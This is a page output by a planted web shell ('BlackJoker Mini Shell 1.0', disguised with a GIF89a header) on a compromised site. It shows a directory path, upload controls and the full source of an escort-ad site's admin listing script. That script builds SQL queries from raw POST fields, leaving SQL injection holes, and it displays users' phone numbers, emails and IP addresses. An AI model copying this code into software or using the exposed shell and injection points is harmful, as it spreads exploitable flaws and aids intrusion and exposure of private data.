GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/admin/
Upload File :
Current File : /home/serb/public_html/admin/list_post_ad.php

<? 
 include("sessionout.php");
 include("../lib/globals.php");
 include("../lib/common.php");
 include("../lib/functions.php");
 include("../lib/pager.php");
    $page=$_GET["page"];
// get the pager class implemented
	if($_POST)
	 {
	 	if($_POST['adTite'])
		 {
	 		 $sql_srcname="SELECT * FROM escort_details WHERE nickname='".$_POST['adTite']."'";
			 $res_srcname=execute_query($sql_srcname);
			 $row_srcname=mysql_fetch_array($res_srcname);
			
			 
			 $sql="select * from escort_details where user_id='".$row_srcname['user_id']."'";		
		 }
		 if($_POST['adEmail'])
		 {
		 	$sql_useremail="SELECT * FROM user_info WHERE email='".$_POST['adEmail']."'";
			$res_useremail=execute_query($sql_useremail);
			$row_useremail=mysql_fetch_array($res_useremail);
			
			$sql="select * from escort_details where user_id='".$row_useremail['userid']."'";
		 }
		 if($_POST['phNumber'])
		 {
		 	$sql="select * from escort_details where tel_national='".$_POST['phNumber']."'";
		 }
	
			 $rs=execute_query($sql);
			 $prod_cnt=0;
			 while($rs2=mysql_fetch_array($rs))
			 {
			    $item[$prod_cnt][0]=$rs2['id'];
			   $item[$prod_cnt][1]=stripslashes($rs2['user_id']);
			   $item[$prod_cnt][2]=$rs2['status'];
			   $item[$prod_cnt][3]=$rs2['tel_national'];
			   $item[$prod_cnt][4]=$rs2['nickname'];
   				$item[$prod_cnt][5]=$rs2['email'];
				$item[$prod_cnt][6]=$rs2['creation_date'];
				$item[$prod_cnt][7]=$rs2['verifyimg'];
			    $prod_cnt++;
			 }
			 
	 }
	 else
	 
	 {
	 	$count_sql="select count(*) tot from escort_details";
	//print $count_sql;
	$count_rs=execute_query($count_sql);
	$count_row=mysql_fetch_array($count_rs);
	$count=$count_row['tot'];
	if($count > 0)
	{
	//print $count;
    $limit = 50;  
    // work out the pager values 
    $pager  = Pager::getPagerData($count, $limit, $page);  
    $offset = $pager->offset;  
    $limit  = $pager->limit;  
    $page   = $pager->page; 
	} 
	if($count > 0)
	{
      
	  $sql="select * from escort_details order by id DESC limit $offset,$limit";
	}
	else
	{
	  $sql="select * from escort_details order by id desc";
	}  
 $rs=execute_query($sql);
 $prod_cnt=0;
 while($rs2=mysql_fetch_array($rs))
 {
   $item[$prod_cnt][0]=$rs2['id'];
   $item[$prod_cnt][1]=stripslashes($rs2['user_id']);
   $item[$prod_cnt][2]=$rs2['status'];
   $item[$prod_cnt][3]=$rs2['tel_national'];
   $item[$prod_cnt][4]=$rs2['nickname'];
   $item[$prod_cnt][5]=$rs2['email'];
   $item[$prod_cnt][6]=$rs2['creation_date'];
   $item[$prod_cnt][7]=$rs2['verifyimg'];
   
   
   $prod_cnt++;
 }
	 } ?>
	
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Escortservice| Admin ::</title>
<link href="../style.css" rel="stylesheet" type="text/css" />
<script language="javascript" type="text/javascript" src="../validator/function.js"></script>
<script>
   function some1(getFileName,getWindowName,getHeight,getWidth)
   {
      //alert();
	  LoadPopup(getFileName,getWindowName,getHeight,getWidth);
   }
</script>
<script>
      function del_record(type,id,page)
	   {
		 var msg="Sure to delete this Escort  with all it's references ? ";
		 var choice=confirm(msg);
		 if(choice)
		 {
		   var target="delete_postad.php?type="+type+"&id="+id+"&page="+page;
		   //alert(target);
		   window.location.href=target;
		 }
	   }
    function del_record2(type,id,page)
	   {
		 var msg="Sure to delete this Escort  with all it's references ? ";
		 var choice=confirm(msg);
		 if(choice)
		 {
		   var target="delete_postads.php?type="+type+"&id="+id+"&page="+page;
		   //alert(target);
		   window.location.href=target;
		 }
	   }
	 function update(id,page)
	 {
	   //alert(id);
	  var loc="update_postad.php?id="+id+"&page="+page;
	   window.location.href=loc;
	 }
	  function verifyupdate(id,page)
	 {
	   //alert(id);
	  var loc="update_verifyimage.php?id="+id+"&page="+page;
	   window.location.href=loc;
	 }
	 function update1(id,page)
	 {
	   //alert(id);
	  var loc="update_page_featured.php?id="+id+"&page="+page;
	   window.location.href=loc;
	 }
</script>
<script>
     
	   function del_records(id,name,page)
	   {
		 var msg="Sure to delete this Ad with all it's references ? ";
		 var choice=confirm(msg);
		 if(choice)
		 {
		   var target="delete_postads.php?id="+id+"&page="+page;
		   //alert(target);
		   window.location.href=target;
		 }
	   }
   
</script>


</head>
<body>
<script type="text/javascript"  src="../scripts/wz_tooltip.js"></script>
<table width="790" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td align="left" valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align="left" valign="top" class="td1"><table width="790" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="343" align="left" valign="top">&nbsp;</td>
            <td width="447" align="left" valign="top">&nbsp;</td>
          </tr>
          <tr>
           <td height="38" align="right" valign="middle" class="topnav"><p style="margin-left:23px;"><img src="img/logo.png" /></p></td>
           <td align="center" valign="middle" class="footer-link">Administrator Control Panel</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td align="left" valign="top" class="td2">&nbsp;</td>
        </tr>
    </table></td>
  </tr>
  <tr>
    <td align="center" valign="top" class="td3"><table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td align="center" valign="top" class="td4"><table width="768" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td height="6"></td>
            </tr>
          <tr>
            <td align="center" valign="top" class="td5">&nbsp;</td>
          </tr>
          <tr>
            <td align="center" valign="top" class="td9"><table width="751" border="0" align="center" class="bordermain">
              <tr>
                <td><? include("menu.php");?></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td align="center">
				<!--<table width="735" border="0">
                  <tr>
                    <td width="82%" align="right">&nbsp;</td>
                    <td width="18%" align="left"><a href="add_page.php" class="footer-link">Add New Page</a>&nbsp;</td>
                  </tr>
                </table>-->
                <form method="post" action="<?=$_SERVER['PHP_SELF'] ?>" name="locsrch">
				<input name="submit_form" value="1" type="hidden">
                <table width="735" border="0">
                	<td>Phone Number: <input type="text" name="phNumber" style="width:100px;" /> &nbsp;Email: <input type="text" name="adEmail" /> &nbsp;Escort Name: <input type="text" name="adTite" style="width:200px;" /> &nbsp; <input src="img/sc-hueWheelPointer.png" type="image" style=" vertical-align:middle;" /></td>
                </table>
                </form>
				</td>
              </tr>
              <tr>
                <td align="center">
               
				<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr>
                    <td colspan="14" class="tblHeader2">List of  pages (<?php echo $prod_cnt;?>)</td>
                  </tr>
                  <tr align="center" class="tableSubHeader">
                    <td width="120" height="19">Escort Name</td>
                    <td width="80">Phone</td>
                    <td width="150">Email</td>
                     <td width="150">Creation Date</td>  
                     <td width="100">Upgrade Featured</td> 
                      <td width="70">Rewards</td>
                      <td width="70">Ip Address</td>
                       <td width="70">Verify Image</td>
                      <td width="100">Approve</td>  
                      <td width="70">Decline</td>              
                      <td width="70">View</td>
                      <td width="70">Modify</td>
                      <td width="70">Delete</td>
                  </tr>
                  <?php
		  		if($prod_cnt > 0) {
					$cnt = 0;
					for($i=0;$i<$prod_cnt;$i++)
					 {
						if($cnt==0)
						 {
							$class = "alterClass1";
							$cnt++;
						}
						 else 
						{
							$class = "alterClass2";
							$cnt--;
						}
		  ?>
                  <tr align="center" height="22" class="<?php echo $class;?>" onmouseover="this.className='mouseOver'" onmouseout="this.className='<?php echo $class;?>'">
                    <td width="120" align="left" style="padding-left:10px;" valign="top" class="gtext5">
					&nbsp;<?php echo nl2br($item[$i][4]);?></td>
                    
                    <td width="80" align="left" style="padding-left:5px;" valign="top" class="gtext5">
					&nbsp;<?php echo nl2br($item[$i][3]);?></td>
                    <td width="150" align="left" style="padding-left:5px;" valign="top" class="gtext5">
                    
					&nbsp;<?php echo  nl2br($item[$i][5]);?></td>
                    
                     <td width="150" align="center"  valign="top" class="gtext5">
                    
					&nbsp;<?php
						$updatedate=explode('-',$item[$i][6]);
					
					
					 echo  $updatedate[1].'/'.$updatedate[2].'/'.$updatedate[0];?></td>
                    
                    <td width="70" valign="top"><a href="upgrade_featuredad.php?id=<? print $item[$i][0];?>&page=<?=$page;?>">UPGRADE</a></td>
                    <?php 
						$sql_username="SELECT * FROM user_info WHERE userid='".$item[$i][1]."'";
						$res_username=execute_query($sql_username);
						$row_username=mysql_fetch_array($res_username);
					
					 ?>
                    
                    <td width="70" align="center" style="padding-left:10px;" valign="top" class="gtext5"><?php  echo nl2br($row_username['rewards']);?></td>
                    <td width="70" align="center" style="padding-left:10px;" valign="top" class="gtext5"><?php  echo nl2br($row_username['ipaddress']);?></td>
                     <td width="70" valign="top"><? if($item[$i][7]=="") print "Inactive";if($item[$i][7]=="a") print "Active";if($item[$i][7]=="u") print "Inactive";?>
                        <input type="checkbox" name="checkbox" value="true"  onclick="verifyupdate('<? print $item[$i][0];?>','<? print $page;?>')" <? if($item[$i][7]=="a") print "checked";?>/></td>

                    <td width="100" valign="top"><? if($item[$i][2]=="") print "Inactive";if($item[$i][2]=="a") print "Active";if($item[$i][2]=="u") print "Inactive";?>
                        <input type="checkbox" name="checkbox" value="true"  onclick="update('<? print $item[$i][0];?>','<? print $page;?>')" <? if($item[$i][2]=="a") print "checked";?>/></td>
                        <td width="70" valign="top">
                        <select name="deleterecd" onchange="del_record(this.value,<?=$item[$i][0] ?>,<?=$page?>);">
                        	<option value="">select</option>
                            <option value="001">001</option>
                            <option value="002">002</option>
                            <option value="003">003</option>
                           
                        </select>
                        
                        </td>
                        
                        
                        
                    <td width="70" valign="top"><a href="#" onclick="some1('postad_details.php?id=<? print $item[$i][0];?>','myWindow','420','600');"><img src="img/bView.png" alt="View Detail" width="16" height="16" border="0" /></a></td>
                       <td width="70" valign="top"><a href="edit_postad.php?id=<? print $item[$i][0];?>&page=<?=$page;?>"><img src="img/bEdit.png" alt="Modify Details" width="16" height="16" border="0" /></a></td>
                      <td width="70" valign="top"><a href="#" onclick="del_records('<? print $item[$i][0];?>','<? print $item[$i][1];?>','<?=$page?>');"><img src="img/bDrop.png" width="16" height="16" border="0" alt="Delete record"/></a></td>
                    
                  </tr>
                  <?php
		  			}
		  		} else {
		  ?>
                  <tr>
                    <td height="100" colspan="7" class="Special">No Pages Found</td>
                  </tr>
                  <?php }?>
                </table>
				</td>
                </tr>
              
            </table></td>
          </tr>
          <tr>
            <td align="center" valign="top" class="td9">&nbsp;</td>
          </tr>
          <tr>
            <td width="232" align="center" valign="top" class="td9">
			
<? 
	  if($prod_cnt > 0)
	  {
	?>
	<table border="0" cellpadding="0" cellspacing="0" width="26%" align="center">
      <!-- Paging display Start Table 4-->
      <tbody>
        <tr>
          <td align="right"><font color="#686869"
							face="Arial, Helvetica, sans-serif" size="1">
            <?	if ($page == 1) // this is the first page - there is no previous page 
					echo "&nbsp;";  
				else            // not the first page, link to the previous page 
					echo "<a href=\"list_post_ad.php?page=" . ($page - 1) . "\"class=\"footer-link\"><a href=\"list_post_ad.php?page=" . ($page - 1) . "\"class=\"footer-link\">Previous</a>&nbsp;";  
				?>
          </font></td>
          <td align="left"><font color="#686869" 
							face="Arial, Helvetica, sans-serif" 
							size="1">
            <?
				for ($i = 1; $i <= $pager->numPages; $i++) {  
					echo "";  
					if ($i == $pager->page)  
						echo "[".$page."]&nbsp;";  
					else  
						echo "<a href=\"list_post_ad.php?&page=$i\"class=\"footer-link\">$i</a> ";  
						} ?>
          </font></td>
          <td align="left"><font color="#686869" 
							face="Arial, Helvetica, sans-serif" 
							size="1">
            <?	if ($page == $pager->numPages) // this is the last page - there is no next page 
						echo "&nbsp;";  
					else            // not the last page, link to the next page 
                     echo "<a href=\"list_post_ad.php?page=" . ($page + 1) ."\"class=\"footer-link\">&nbsp;Next</a>";  
	         ?>
          </font></td>
        </tr>
      </tbody>
    </table>
	<? 
	  }
	  else
	  {
	?>
	   &nbsp;
	<? 
	  }
	?>			</td>
            </tr>
          <tr>
            <td align="center" valign="top" class="td9">&nbsp;</td>
          </tr>
          <tr>
            <td height="6"></td>
            </tr>
        </table></td>
      </tr>
      
    </table></td>
  </tr>
  <tr>
    <td align="center" valign="top" class="td3"><table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align="center" valign="top" class="footer-bac">
		<p style="text-align:center; padding:35px 0 5px 0px;"><a href="main.php" class="footer-link">Administrator Control Panel </a></p>
        <p class="footer-text1" style="text-align:center;">Adult Rubs</p>
		</td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>

./BlackJoker Mini Shell 1.0